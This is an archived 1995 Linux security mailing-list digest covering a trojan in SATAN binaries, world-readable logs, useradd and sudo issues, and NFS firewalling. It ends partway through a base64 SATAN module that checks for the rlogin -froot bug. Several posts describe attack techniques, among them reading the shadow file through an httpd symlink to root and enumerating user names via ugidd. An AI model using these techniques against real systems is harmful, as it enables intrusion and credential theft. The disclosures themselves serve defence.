kin.ir.samse.qurax ------------------------------ End of linux-security-digest V1 #16 *********************************** linux-security-digest/1995/v01.n017100664 1767 1767 40706 5743764675 16104 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #17 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Saturday, 15 April 1995 Volume 01 : Number 017 Trojan in Linux Satan Binaries Serious security hole: log files Re: Serious security hole: log files Linux Security FAQ Update: Trojan in Satan Binaries useradd bug randomizing filehandles: why not use fsirand? Re: randomizing filehandles: why not use fsirand? Re: Trojan in Linux Satan Binaries NFS uid/gid map daemon ---------------------------------------------------------------------- From: "S. Joel Katz" Date: Sat, 8 Apr 1995 09:41:03 -0400 (EDT) Subject: Trojan in Linux Satan Binaries [mod: I could not verify these claims in any way; nor could I verify if this mail is really from Joel Katz because the message was not PGP-signed. Therefore, I'm not signing this post to linux-alert either. You should take this warning serious nevertheless. --okir] - ---------------------------------------------------------------------------- SECURITY ALERT -- Trojan in Linux Satan Binaries - ---------------------------------------------------------------------------- It appears that someone with physical access to my computer inserted a Trojan into my release of the Linux Satan binaries. This definitely affects the versions downloaded from ftp.epinet.com and may affect those from other sites. At least 400 sites have ftp'd the trojan. This Trojan has not been exploited and will not be used. Briefly, if you downloaded Linux Satan Binaries from anywhere, to be safe, create a user named "suser" in your /etc/passwd file, set his password to "*" and his user number to 9955. This will disable the Trojan completely and Satan can still be used. You can obtain the latest info by fingering "[email protected]". Mail regarding the trojan should be sent to the same address. Someone I know wanted to make some bizarre point about tools like Satan being useless in the hands of the technically unskilled. He obtained physical access to my machine when I was not in my lab and obtained my password from a log. (Stupid me, when I was having PPP problems, I told chat to log everything -- including my password!) Unfortunately, my PPP password is my Panix password (by their design). This person has no intentions of using the Trojan and only wanted to make a statement, not compromise people's security. When I checked for other tampered files by comparing my system to my last backup, I noticed a copy of the source of the trojan sitting in a directory that contains newbie help for Usenet. It is clear that only the author of the Trojan can exploit it. He is quite remorseful about what he has done. I will release more details including the source shortly. Right now, I want to give people a chance to secure their systems. If you have an "suser" line in your /etc/passwd file, you have been attacked. Change "suser"'s password to "*". If you don't have such a line, add one just to be safe -- the Trojan shuts down if "suser" already exists. Make it user number 9955, and set its password to "*". This problem does not affect any of the source releases. My sincere apologies to those whose system's security may have been compromised. Sincerely, Joel Katz (Address replies to [email protected]) ------------------------------ From: Belikoff Alexander Date: Sun, 9 Apr 1995 15:02:08 GMT Subject: Serious security hole: log files Hi everybody, I would like to mention a serious (on my mind) security hole in the logging system. As I noticed, sysklogd package creates log files with world-read permissions. Now suppose the following: you type your password at the login prompt (it *does* happen sometimes, whether you want it or not). As usually, your log file will contain the message of the following kind: ... login failed for user 'my_very_secure_password' Now suppose the ill-minded guy, reading your log file... The best solution is, probably, to set /usr/adm perms to 700. abel - -- /v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^\ Alexander L. Belikoff |o ... o| ([email protected]) |o 3314 signal(SIG_CTHULHU, fhtagn); o| |o 3315 pause(); o| Berger Financial Research, Ltd. |o ... o| ------------------------------ From: Jeff Uphoff Date: Tue, 11 Apr 1995 11:29:07 -0400 Subject: Re: Serious security hole: log files "BA" == Belikoff Alexander writes: BA> I would like to mention a serious (on my mind) security hole in the BA> logging system. This is not a "hole" unique to Linux. BA> As I noticed, sysklogd package creates log files with world-read BA> permissions. Now suppose the following: you type your password at the BA> login prompt (it *does* happen sometimes, whether you want it or not). BA> As usually, your log file will contain the message of the following BA> kind: BA> ... login failed for user 'my_very_secure_password' This is a common occurrence, unfortunately; I've done it more times than I would care to remember. BA> Now suppose the ill-minded guy, reading your log file... BA> The best solution is, probably, to set /usr/adm perms to 700. Though 'syslogd' will usually create the files with world-read permission, it will not modify an *existing* log-file's permission when it starts. Here's how I do things (to prevent people from snooping in the log files that may contain passwords, etc); I rotate my logs at shutdown, vice via a crontab, so all my current logs contain info. since the last (nice) shutdown. Snippet from /etc/rc.d/rc.0: if [ ! -f /etc/fastboot ] ; then echo "Emptying the trash:" > /dev/console /etc/rc.d/brc.clean > /dev/console 2>&1 echo "Trimming logs:" > /dev/console /etc/rc.d/brc.trim > /dev/console 2>&1 fi Snippet from /etc/rc.d/brc.trim: ADMDIR=/var/adm # Trim messages log. if [ -s $ADMDIR/messages ] ; then echo " messages" cat $ADMDIR/messages.old $ADMDIR/messages | tail -n 5000 > $ADMDIR/messages.tmp mv -f $ADMDIR/messages.tmp $ADMDIR/messages.old rm -f $ADMDIR/messages ; touch $ADMDIR/messages chown root.sysadmin $ADMDIR/messages* ; chmod 640 $ADMDIR/messages* fi I'm not saying that this is an optimal way of doing this, but I've been using this scheme under Linux (in various ways) for about two years. By making sure that the /var/adm/messages file will exist at next 'syslogd' startup, and that it will have the ownership and permissions that I want, I don't have to worry about people browsing it for passwords. (My regular account is the only one in the "sysadmin" group--so that I can take quick peeks at the logs without having to 'su'.) Further discussion on this by private e-mail (not the list) please, as it's pretty much a general UNIX sysadmin issue... - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ ------------------------------ From: "Alexander O. Yuriev" Date: Mon, 10 Apr 1995 13:33:38 -0400 (EDT) Subject: Linux Security FAQ Update: Trojan in Satan Binaries Hello, This is an update of Linux Security FAQ. I'm again thinking about sending sendmail KILL signal - 230 messages to read/reply. ;-) Best wishes, Alex - ----------CUT-HERE-------------CUT-HERE-----------CUT-HERE------------- LINUX Satan Alert Trojan Horse in Linux Binaries LINUX SECURITY FAQ UPDATE Copyright (C) 1995 Alexander O. Yuriev, CIS Laboratories TEMPLE UNIVERSITY In cooperation with Jeff Uphoff and Olaf Kirch BRIEFLY It came to our attention that some pre-compiled Linux SATAN Binaries create a user 'suser' with GID 0 in /etc/passwd. SATAN IS NOT SUPPOSED TO DO IT! =============================== To check if your binary is compromised use command "strings * | grep suser" in Satan's root directory and Satan's bin/ subdirectory. All compromised binaries are likely to show a string with 'suser'. If your system was compromised, delete user 'suser' from password file and obtain another copy of Satan. You can also place '*' in the password field of /etc/passwd to block 'susers' attacks. SITES THAT DISTRIBUTED COMPROMISED SATAN BINARIES The compromised SATAN binaries were placed on the following FTP site: ftp://router.epinet.com From what we know that binary then was re-distributed to other Linux FTP sites. There is NO Trojan horse in the Satan patch that is currently on the sunsite.unc.edu in the /pub/Linux/Incoming. WERE ANY SITES COMPROMISED USING THIS TROJAN HORSE? We are aware of two cases where system security had been compromised using the Trojan horse in Satan Binaries. The GID of 'suser' being equal to 0, allowed intruders to modify Group-Writable files on a system. HOW CAN I DETECT IF MY SITE WAS ATTACKED? Scan your system logs for 'suser' logins using grep suser /usr/adm/{syslog|messages} ARE THERE ANY SITES THAT ATTEMP TO PERFORM UNATHORISED ACCESS TO SYSTEMS USING THE BACKDOOR CREATED BY SATAN? That site is 'router.epinet.com'. Some of the messages in comp.unix.security and other newsgroups urge you to send email to [email protected] if you suspect that your system was compromised. PLEASE DO NOT DO IT! Even if the person '[email protected]' is not going to attack you, think about the number of people that could sniff that message! - ------CUT-HERE---------------------CUT-HERE-------------CUT-HERE-------- ============================================================================= CIS Laboratories email: [email protected] TEMPLE UNIVERSITY [email protected] USA Tel: 1-800-DEV-NULL ============================================================================= ------------------------------ From: Marek Michalkiewicz Date: Thu, 13 Apr 1995 16:31:25 +0200 (MET DST) Subject: useradd bug Some time ago I posted a message about a bug in the useradd command from the Shadow Password Suite. (The bug: useradd without "-u uid" may create a new user with uid 0 because of overflow if there are users in /etc/passwd with high uid values like "nobody"==65534.) I just want to add this info: even if you are not using shadow passwords, you are not safe! At least the Slackware distribution (maybe others too) includes the useradd (and groupadd) programs from the shadow suite, even though this distribution does not support shadow passwords. I have sent mail about this bug to the author. Until the bug is fixed, always use the -u option, use a different program (such as adduser), or edit /etc/passwd (and /etc/shadow if you have one) by hand. If you have any questions about this, please mail them directly to me, to save the moderators some work :-). Regards, - -- Marek Michalkiewicz ------------------------------ From: "Peter Bouthoorn" Date: Sat, 8 Apr 1995 14:00:03 +0100 (METDST) Subject: randomizing filehandles: why not use fsirand? Hi, I've wondered why noone (to my knowledge) has suggested to write a tool similar to fsirand. Fsirand randomizes all inode numbers on a system, which makes guessing file handles a little harder. Of course the randomization used in such a tool should be "really random", so that we don't end up with the same problem as SunOS: the random element used in fsirand wasn't random enough. Comments anyone? Peter - -- Peter Bouthoorn | Internet Access Foundation - http://www.iaf.nl/ [email protected] | Internet Provider in Noord-Nederland Linux addict | PoP in Groningen + Enschede ------------------------------ From: "Theodore Ts'o" Date: Thu, 13 Apr 1995 22:08:14 +0500 Subject: Re: randomizing filehandles: why not use fsirand? Date: Sat, 8 Apr 1995 14:00:03 +0100 (METDST) From: "Peter Bouthoorn" I've wondered why noone (to my knowledge) has suggested to write a tool similar to fsirand. Fsirand randomizes all inode numbers on a system, which makes guessing file handles a little harder. Of course the randomization used in such a tool should be "really random", so that we don't end up with the same problem as SunOS: the random element used in fsirand wasn't random enough. Comments anyone? (putting on my security hat) I have a set of kernel patches which implement a "really random" /dev/random. It works by sampling environmental noise from keyboard timings and other peripherals, and mixing it together using a cryptographic hash function. It's been something that I've been working for the past couple of months, on and off, but I finally finished it only last week. It's currently waiting for a couple of other security experts to go over my code and my algorithms, to make sure I didn't miss anything that might compromise "really random"-ness of the code. (The idea is that the end result should be good enough even for the purposes of generating keying material for public or secret key systems.) After it's been audited by a couple of people whom I trust, I'll make it available for general distribution. - Ted ------------------------------ From: [email protected] (Al Longyear) Date: Sat, 8 Apr 1995 11:34:45 -0700 (PDT) Subject: Re: Trojan in Linux Satan Binaries Joel Katz writes: > SECURITY ALERT -- Trojan in Linux Satan Binaries > > ---------------------------------------------------------------------------- > > It appears that someone with physical access to my computer inserted > a Trojan into my release of the Linux Satan binaries. This definitely > affects the versions downloaded from ftp.epinet.com and may affect those > from other sites. At least 400 sites have ftp'd the trojan. Perhaps it is time to recommend that the MD5 checksum be published by the person making the announcement for a file that they wish to publish. It would remove doubt that a person who obtains the binary archive indeed has the true code. 1. There are no trojan programs in the archive. and 2. The person obtained the file without it being corrupted. The most common corruption is that the person has used 'ascii' to transfer binary files. - -- Al Longyear [email protected] Finger for PGP key [Mod: Though this isn't Linux-specific, I thought I'd forward it as it is probably a good idea to start some pressure out there in the Linux community for people to use MD5 checksums, PGP signatures, etc., to prove that binary (and other) distributions of their work are unaltered. Let's not start a long debate on this though--it's just a good idea whose time has unfortunately come it seems (IMHO). Perhaps we might also set up a PGP key repository specifically for Linux activists' keys, much like the general public key servers that exist at sites like MIT? It could be FTP'able, WWWebbable (is that a word?), etc., so that you could grab all the registered Linux public keys and updates in one sweep every now and then for use in verifications. --Jeff.] ------------------------------ From: [email protected] (Olaf Kirch) Date: Sat, 15 Apr 1995 18:15:25 +0200 (MET DST) Subject: NFS uid/gid map daemon Hello, prompted by a posting in c.o.l.networking, I looked at the ugidd stuff present in earlier versions of nfsd. I found that it may be a security problem for some sites. The ugidd interface specifies a call that maps a given uid or gid to a user or group name. This lets others collect all user names on your host by simply looping through the uid space. Immediate fix: kill off rpc.ugidd and make sure it isn't started from rc.inet2. Note that although nfsd version 2.0 and later does not support the ugid protocol anymore (I guess now I know why Rick removed it:), the server is still shipped with current distributions. Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax ------------------------------ End of linux-security-digest V1 #17 *********************************** linux-security-digest/1995/v01.n018100664 1767 1767 25237 5746653402 16073 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #18 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Monday, 24 April 1995 Volume 01 : Number 018 HTTPD bug httpd problem - summary of replies SUDO bug Re: SUDO bug IP firewalling and security Nobody could be anybody Re: randomizing filehandles: why not use fsirand? ---------------------------------------------------------------------- From: Mr Pink Date: Sun, 16 Apr 1995 00:46:20 +0000 (GMT) Subject: HTTPD bug Hello all, i was browsing thru alt.2600, as you do, and spotted something of interest it appears there is a problem with the CERN httpd. It allows you to create a directory in a users home dir that can be accessed via mosaic/netscape. well the bad bit of news is, if you sym link this dir to root (/), file ownership becomes non existent. i was easily able to read the shadow passwd file! - -- "Why should i be frightened of dying? Theres no reason for it. You've got to go sometime." - TGGITS ------------------------------ From: [email protected] (Olaf Kirch) Date: Mon, 17 Apr 1995 20:15:50 +0200 (MET DST) Subject: httpd problem - summary of replies Hello, Yesterday's post referring to the httpd problem prompted about half a dozen of replies pointing out that this hole is basically a configuration problem. Instead of posting all of them, I think it might be better to summarize them. Any errors or omissions in this posting are my fault, not those of the original posters, which were: Leonard N. Zubkoff Avery Pennarun Jon Lewis Mr Martin J Hargreaves Perry F Nguyen Peter Drier [email protected] (Michael Shields) Darren Reed By default, CERN httpd changes its uid and gid to nobody/nogroup after setting up the TCP port, so it's impossible to access files you're not supposed to. uid and gid can be set explicitly in the httpd.conf file using the UserId and GroupId attributes. Almost exactly the same applies to NCSA httpd. If you use the configuration files distributed with the source, it will also run as user nobody, group - -1. These values can be changed by setting the User and Group attributes in httpd.conf. With this setup, malicious users on your system could still create a symlink to let anyone access world-readable files on your system (although it's a clumsy way of making data available to the outside world). Jon Lewis ([email protected]) pointed out that NCSA lets you plug this hole by specifying this in your access.conf file: Options Indexes Darren Reed pointed to a paper (draft?) he wrote about httpd and security; it can be gotten from http://www.arbld.unimelb.edu.au/~darrenr/httpd.ps. Regards Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax ------------------------------ From: Paul Makeev Date: Tue, 18 Apr 1995 18:42:46 +0400 (GMT+0400) Subject: SUDO bug I'm using sudo v1.1, and has detected strange thing: when user just entered his password to sudo prompt, he is able to make other sudo's w/o entering the password. It is ok. But if users logs-off, and logins in a short time, sudo still doesn't ask for password. - -- Paul Makeev, sysadm, RoSprint Eng. Dept, [email protected] X.400: (C:USA,A:TELEMAIL,O:SPRINTINTL,UN:P.MAKEEV) ------------------------------ From: Baba Z Buehler Date: Tue, 18 Apr 1995 23:21:03 -0500 Subject: Re: SUDO bug Paul Makeev writes: > I'm using sudo v1.1, and has detected strange thing: when user > just entered his password to sudo prompt, he is able to make other > sudo's w/o entering the password. It is ok. But if users logs-off, > and logins in a short time, sudo still doesn't ask for password. > this isn't a bug, its a feature. :-) ... it is described in the sudo docs, sudo has a "time limit" that a user can make repeated sudo's in without having to re-enter his/her password. this "time limit" is specified at compile time (i believe it is 5 minutes). sudo touch-es a (/tmp/.odus/username) and uses the timestamp on that file to determine if the user can make another sudo call without entering his/her password. since sudo is only comparing the timestamp to the current time, it doesn't matter if the user logs out and logs back in. /tmp/.odus is mode 700, owned by root, as are the files in it. i immagine this could be a security problem if you were nfs-exporting /tmp (but why would you do that?) for us here, the convienence of sudo (and the ability to let people do some root things without giving them full root) outweighs its security risks (which are minor)... I've also recompiled sudo so that the timeout is 2 minutes instead of 5. if someone can think of a large security problem with the way sudo operates, i'd like to hear it. - -- # Baba Z Buehler - 'Hackito Ergo Sum' # Beckman Institute Systems Services, Urbana Illinois # # Quidquid latine dictum sit, altum viditur. # # WWW: http://www.beckman.uiuc.edu/groups/biss/people/baba/ # PGP public key on WWW homepage and key servers (key id: C13D8EE1) [mod: the main reason I approved the original post was that this feature is so strange that it might be good to call it to people's attention. --okir] ------------------------------ From: [email protected] (Thomas Koenig) Date: Wed, 19 Apr 1995 20:35:19 +0200 (MET DST) Subject: IP firewalling and security IP firewalling for a single machine, methinks, can be used to enhance security of such services such as X or NFS. Suppose you only want to provide NFS service to the local subnet 192.168.0.0 (netmask 255.255.0.0), from your local server, 192.168.5.123. In that case, putting the lines ipfw add b deny udp from 0.0.0.0/0 to 192.168.5.123 111 ipfw add b accept udp from 192.168.0.0/16 to 192.168.5.123 111 ipfw add b deny udp from 0.0.0.0/0 to 192.168.5.123 2049 ipfw add b accept udp from 192.168.0.0/16 to 192.168.5.123 2049 into a suitable place (such as /etc/rd.c/rc.inet1) will block any Portmapper or NFS requests which appear to come from outside your local organization to be silently dropped. If your router is configured to drop any packets which appear to come from the inside, but come in from the outside, you've closed any NFS holes there may be to the outside world. If your router doesn't - well, just how susceptible is NFS to an attack similar in style to TCP spoofing? If you're only exporting read-only, and this works, things should be fairly secure. If you're exporting read - write, an attacker could possibly overwrite some data. Question: if you've got nfsd and rpcd running firewalled, can anything be gained by also firewalling mountd? This would probably have to be done in mountd itself, since it doesn't bind to a specified port. [BTW, thanks to Alan Cox for helping me figure out the ipfw syntax :-] - -- Thomas Koenig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. ------------------------------ From: [email protected] (Olaf Kirch) Date: Fri, 21 Apr 1995 16:20:00 +0200 (MET DST) Subject: Nobody could be anybody - -----BEGIN PGP SIGNED MESSAGE----- Hi all, I just came across a problem when checking a new Slackware 2.2 installation on a friend's machine. In /etc/passwd, it assigns user nobody a uid of -1 and a gid of 100 (i.e. users). While the latter may be questionable, the former is plain wrong because the seteuid system call, when given a uid of -1, does nothing (well, it returns the current effective uid, but that's it). I can't say if this problem exists in other distributions, too. I have checked if this affects servers started by inetd under the nobody account. They seem to be safe because inetd performs a setuid call that does not treat -1 specially. I don't know if this opens up any actual holes, but there *are* a couple of programs that set their euid to nobody for certain purposes. smail is one of them, another is rpc.rwalld. This problem also affects root squashing in nfsd-2.1 and nfsd-2.2alpha when using the seteuid method of setting the client's uid/gid instead of setfsuid. The obvious fix is to change nobody's uid to -2 (which is the common value as far as I know). While you're at it, you may also want to change its group id to -2 as well. Regards Olaf - - - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. - -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBL5e+z+FnVHXv40etAQFzUgQAk3/pd+fbPcD00THmKZ86kwk47OXMJ/al 5Mo9eJ48Y/ofkwcwsJHg6TCqoKLUPma2eUczgevAWuxyJMBanod6HkirGeUU2wI7 eLyF/o+V9YM0s/uah3EfeGyMzgH4Li8mXg/+qRCvRic3N3Kk3qMP72qftQJht4Kf KYQoXFij2FM= =w2Xh - -----END PGP SIGNATURE----- ------------------------------ From: [email protected] (Ian Jackson) Date: Wed, 19 Apr 95 12:02 BST Subject: Re: randomizing filehandles: why not use fsirand? [mod: If people wish to discuss this issue further with Peter and Ian, I suggest you take it to private email. --okir] "Peter Bouthoorn" writes ("randomizing filehandles: why not use fsirand?"): > I've wondered why noone (to my knowledge) has suggested to write > a tool similar to fsirand. Fsirand randomizes all inode numbers > on a system, which makes guessing file handles a little harder. > Of course the randomization used in such a tool should be > "really random", so that we don't end up with the same problem > as SunOS: the random element used in fsirand wasn't random enough. > Comments anyone? This is a horrible hack. Why should I fragment my filesystems' inode maps, not to mention take the system down to do it ? Furthermore, it provides only very weak protection. It won't stop an exhaustive search, nor will it help very much with the general security problems with NFS. It won't prevent an attack by an insider who can ls -i files. If you really want to do this, why not use a keyed hash to `sign' the filehandle, so that the server can tell whether it generated a filehandle or not ? MD5 generates 128-bit hashes, which would be half of a 32-byte filehandle. It'll break your clients whenever you change the secret, but it's probably better than nothing even if you never do so. Ian. ------------------------------ End of linux-security-digest V1 #18 *********************************** linux-security-digest/1995/v01.n019100664 1767 1767 41616 5751361402 16063 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #19 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Tuesday, 2 May 1995 Volume 01 : Number 019 Re: SUDO bug FYI: Current security lists' propagation. Re: IP firewalling and security IP firewalling and security Re: IP firewalling and security Mailing-list statistic-compilation utility. Satan module for Linux/AIX rlogin -froot bug LILO hole ---------------------------------------------------------------------- From: Jon Lewis Date: Mon, 24 Apr 1995 03:29:47 -0400 (EDT) Subject: Re: SUDO bug On Tue, 18 Apr 1995, Paul Makeev wrote: > I'm using sudo v1.1, and has detected strange thing: when user > just entered his password to sudo prompt, he is able to make other > sudo's w/o entering the password. It is ok. But if users logs-off, > and logins in a short time, sudo still doesn't ask for password. RTM!...This is a documented feature, not a bug. If it worries you, shorten the time period in the source and recompile. Was it on another mailing list, or did someone else just ask this a week or less ago? - ------------------------------------------------------------------ Jon Lewis | Mime attachments are OK [email protected] | But please ask before sending http://inorganic5.chem.ufl.edu | unsolicited huge files. | _____Finger [email protected] for PGP public key_____ [Mod: It was on this list--it appears that Paul Makeev's message got stuck in the mail queue for a couple/few days (I don't know why), and the replies to this question (well, one at least) wound up being delivered before the original message. Apologies for the confusion--I'll be sending my 'sendmail' binary to bed without supper tonight for this misbehavior. --Jeff.] ------------------------------ From: Jeff Uphoff Date: Mon, 24 Apr 1995 15:39:51 -0400 Subject: FYI: Current security lists' propagation. I just thought I'd put out a quick FYI with a breakdown of the Linux security lists' current propagation for those that may be interested in seeing the widespread interest in Linux security, as well as the widespread use of Linux in general. All four lists (linux-security, linux-security-digest, linux-alert, and linux-alert-digest) are lumped together into one report here for brevity--thus the total number of subscriptions and the totals for each domain are misleading; many people subscribe to more than one list, and many of the subscriptions are actually remote mailing lists to yet more people. The geographical breakdown is the main interesting point... The domain descriptions are taken directly from the 'whois' service. 595 : ( edu) U.S.A. (education) 502 : ( com) U.S.A. (commercial) 240 : ( de) Germany (Federal Republic of) 170 : ( uk) United Kingdom of Great Britain 112 : ( net) "Network" [largely U.S.A.] 94 : ( ca) Canada 78 : ( fi) Finland (Republic of) 69 : ( org) "Organization" [largely U.S.A.] 52 : ( nl) Netherlands 50 : ( no) Norway (Kingdom of) 42 : ( se) Sweeden (Kingdom of) 39 : ( gov) U.S.A. (government) 28 : ( mil) U.S.A. (military) 28 : ( au) Australia 28 : ( it) Italy (Italian Republic) 27 : ( fr) France (French Republic) 26 : ( at) Austria (Republic of) 24 : ( es) Spain (Kingdom of) 22 : ( za) South Africa (Republic of) 18 : ( us) United States of America 18 : ( il) Israel (State of) 17 : ( pt) Portugal (Portuguese Republic) 16 : ( dk) Denmark (Kingdom of) 13 : ( be) Belgium (Kingdom of) 13 : ( br) Brazil (Federative Republic of) 13 : ( nz) New Zealand 13 : ( ch) Switzerland (Swiss Confederation) 12 : ( pl) Poland (Republic of) 11 : ( hu) Hungary (Republic of) 8 : ( kr) Korea (Republic of) 7 : ( jp) Japan 6 : ( hk) Hong Kong (Hisiangkang, Xianggang) 6 : ( hr) Croatia/Hrvatska (Republic of) 6 : ( ro) Romania 5 : ( ee) Estonia (Republic of) 5 : ( ua) Ukraine 5 : ( si) Slovenia 4 : ( su) Soviet Union (Union of Soviet Socialist Republics) 4 : ( th) Thailand (Kingdom of) 4 : ( ru) Russia (Russian Federation) 4 : ( tw) Taiwan 4 : ( ie) Ireland 4 : ( cl) Chile (Republic of) 4 : ( is) Iceland (Republic of) 4 : ( cz) Czech Republic 3 : ( gr) Greece (Hellenic Republic) 2 : ( mx) Mexico (United Mexican States) 2 : ( my) Malaysia 2 : ( uy) Uruguay (Eastern Republic of) 2 : ( yu) Yugoslavia (Federal Republic of) 2 : ( lv) Latvia (Republic of) 2 : ( gb) Great Britain (United Kingdom of) 2 : ( ar) Argentina (Argentine Republic) 2 : ( sg) Singapore (Republic of) 2 : ( uucp) UUCP 1 : ( mz) Mozambique (People's Republic of) 1 : ( sk) Slovakia TOTAL: 2473 in 57 top-level domains. - --Up. P.S. Anyone out there that runs a Majordomo server and/or is interested in a copy of my compilation utility (I whipped up a small Perl program to do this, as well as created an association map for domains) can just drop me e-mail... - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ ------------------------------ From: [email protected] (Panzer Boy) Date: 21 Apr 1995 12:07:17 -0400 Subject: Re: IP firewalling and security Thomas Koenig ([email protected]) wrote: : IP firewalling for a single machine, methinks, can be used to enhance : security of such services such as X or NFS. I've added a /etc/rc.d/rc.ipfw startup script, I have it run before rc.inet1 and rc.inet2. It's pretty simple and looks much like this: IPFW=/sbin/ipfw # # Block Access to portmapper from IP, before checked by tcpd ${IPFW} a b deny udp from 0.0.0.0/0 to 199.234.136.0/24 111 ${IPFW} a b deny tcp from 0.0.0.0/0 to 199.234.136.0/24 111 ${IPFW} a b accept udp from 199.234.136.0/24 to 199.234.136.0/24 111 ${IPFW} a b accept tcp from 199.234.136.0/24 to 199.234.136.0/24 111 # # Block NFS traffic from none local ip numbers ${IPFW} a b deny udp from 0.0.0.0/0 to 199.234.136.0/24 2049 ${IPFW} a b deny tcp from 0.0.0.0/0 to 199.234.136.0/24 2049 ${IPFW} a b accept udp from 199.234.136.0/24 to 199.234.136.0/24 2049 ${IPFW} a b accept tcp from 199.234.136.0/24 to 199.234.136.0/24 2049 # And so on, for the syslog port, for the printer port, for the samba port, and also for X11 port. I block TCP along with UDP because of this: > /usr/sbin/rpcinfo -p localhost program vers proto port 100000 2 tcp 111 portmapper 100000 2 udp 111 portmapper 100003 2 udp 2049 nfs 100003 2 tcp 2049 nfs If it's going to advertise on TCP, maybe you should block TCP.... :) -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." - -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." ------------------------------ From: "Leonard N. Zubkoff" Date: Fri, 21 Apr 1995 08:27:49 -0700 Subject: IP firewalling and security Date: Wed, 19 Apr 1995 20:35:19 +0200 (MET DST) From: [email protected] (Thomas Koenig) If your router is configured to drop any packets which appear to come from the inside, but come in from the outside, you've closed any NFS holes there may be to the outside world. If you're connected by PPP to the outside world, you can also use the "interface" option to ipfw to drop packets coming from the wrong interface: # Block UDP packets incorrectly claiming to be from the local Ethernet. /sbin/ipfw add blocking deny udp iface $interface from x.y.z.0/22 to 0/0 /sbin/ipfw add blocking deny tcp iface $interface from 0/0 to 0/0 6000 The last line prevents any packet destined for port 6000 on the local machine from coming in over the $interface interface. Leonard ------------------------------ From: [email protected] (Olaf Kirch) Date: Mon, 24 Apr 1995 23:46:11 +0200 (MET DST) Subject: Re: IP firewalling and security - -----BEGIN PGP SIGNED MESSAGE----- Thomas Koenig wrote: > Question: if you've got nfsd and rpcd running firewalled, can anything > be gained by also firewalling mountd? This would probably have to be > done in mountd itself, since it doesn't bind to a specified port. Protection of RPC services that run on random ports is a problematic issue. NFS can be firewalled so easily because nfsd always runs on port 2049, but you're quite stuck with all other services. Firewalling port 111 or using a portmapper with hosts_access protection does not help you here, because it's quite easy to find out which services run on which port without consulting the portmapper at all(*). IMHO, the only solution to this problem is to make RPC daemons aware of hosts_access or a similar scheme. An ideal place to add this transparently would be in svc_run, but unfortunately, the current tcp-wrapper implementation doesn't lend itself very well to fun like this because for each check you perform, it opens and parses the entire hosts.allow and hosts.deny files. I have started hacking on the tcpd-7.2 sources to load this stuff into memory and add a cache indexed by client addresses, but it's not even at the compile stage yet:-) If someone is interested in pursuing this, I could give you the source. To comment on the issue Thomas raised (at long last): I don't believe there's much evil you can do with mountd as long as the NFS port is blocked, except maybe for a denial of service attack. Regards Olaf (*) Basically, you use NULL RPC calls to check if a given service resides on a given port. It works surprisingly well... What makes me slightly nervous is that when playing around with this, none of the servers recorded a single complaint in the log files. - - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. - -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBL5wcEOFnVHXv40etAQGdVQP+I23kmatE1O47QFEdDwYv55/UnzLWl+Aw pFCTqPSA0zGQypCh2ygko3nvYZopblwVO+2erQYh1Zuhu+SpxACfACLajxnlN0Vy gE9PcWRepLC7pXW8PJdnMghxPL8CBMqxUcVCtoMWJ5VwgU8yAs399F+3AUWK0BlL WRh2OUBneKc= =1RjJ - -----END PGP SIGNATURE----- ------------------------------ From: Jeff Uphoff Date: Tue, 25 Apr 1995 13:28:58 -0400 Subject: Mailing-list statistic-compilation utility. Since my quick mention yesterday (to this list) of a small Perl script that I created for compiling domain-breakdowns and such for mailing lists, I have had quite a few requests for a copy of it. It's now available via FTP at linux.nrao.edu:/pub/src/misc/listdoms.pl.gz It requires Perl version 5 (simply because of the way that I wrote it). Any questions or problems regarding this util. should be sent to me directly (*not* to the security list). - --Up. ------------------------------ From: Aleph One Date: Wed, 26 Apr 1995 14:58:36 -0500 (CDT) Subject: Satan module for Linux/AIX rlogin -froot bug This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to [email protected] for more info. - --1435141361-2986965-798926316=:11428 Content-Type: TEXT/PLAIN; charset=US-ASCII Well, this is a small satan module I made as a quick hack to check hosts that have rlogind running for the -froot bug. Drop it in the bin directory in the satan diretory. You also need to modify the rules/jobs and config/paths.sh files. Look in login.satan and it will tell you waht to do. Also your rlogin may puke at the -froot thinking its a switch and not a parameter to -f. In that case get Linux rlogin and compile. I havent tried it again a bugy Linux box yet but thats because I dont know of one. Anyway here it is. a1 - --1435141361-2986965-798926316=:11428 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="login.satan" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: satan login module IyEvYmluL3NoDQojDQojIGxvZ2luLnNhdGFuIHYwLjUNCiMgdGVzdCBmb3Ig bmFzdHkgLWZyb290IExpbnV4L0FJWCBybG9naW4vbG9naW4gYnVnLg0KIw0K IyBUZXN0ZWQgYWdhaW5zdCBBSVguIE5vdCB0ZXN0ZWQgeWV0IGFnYWluc3Qg 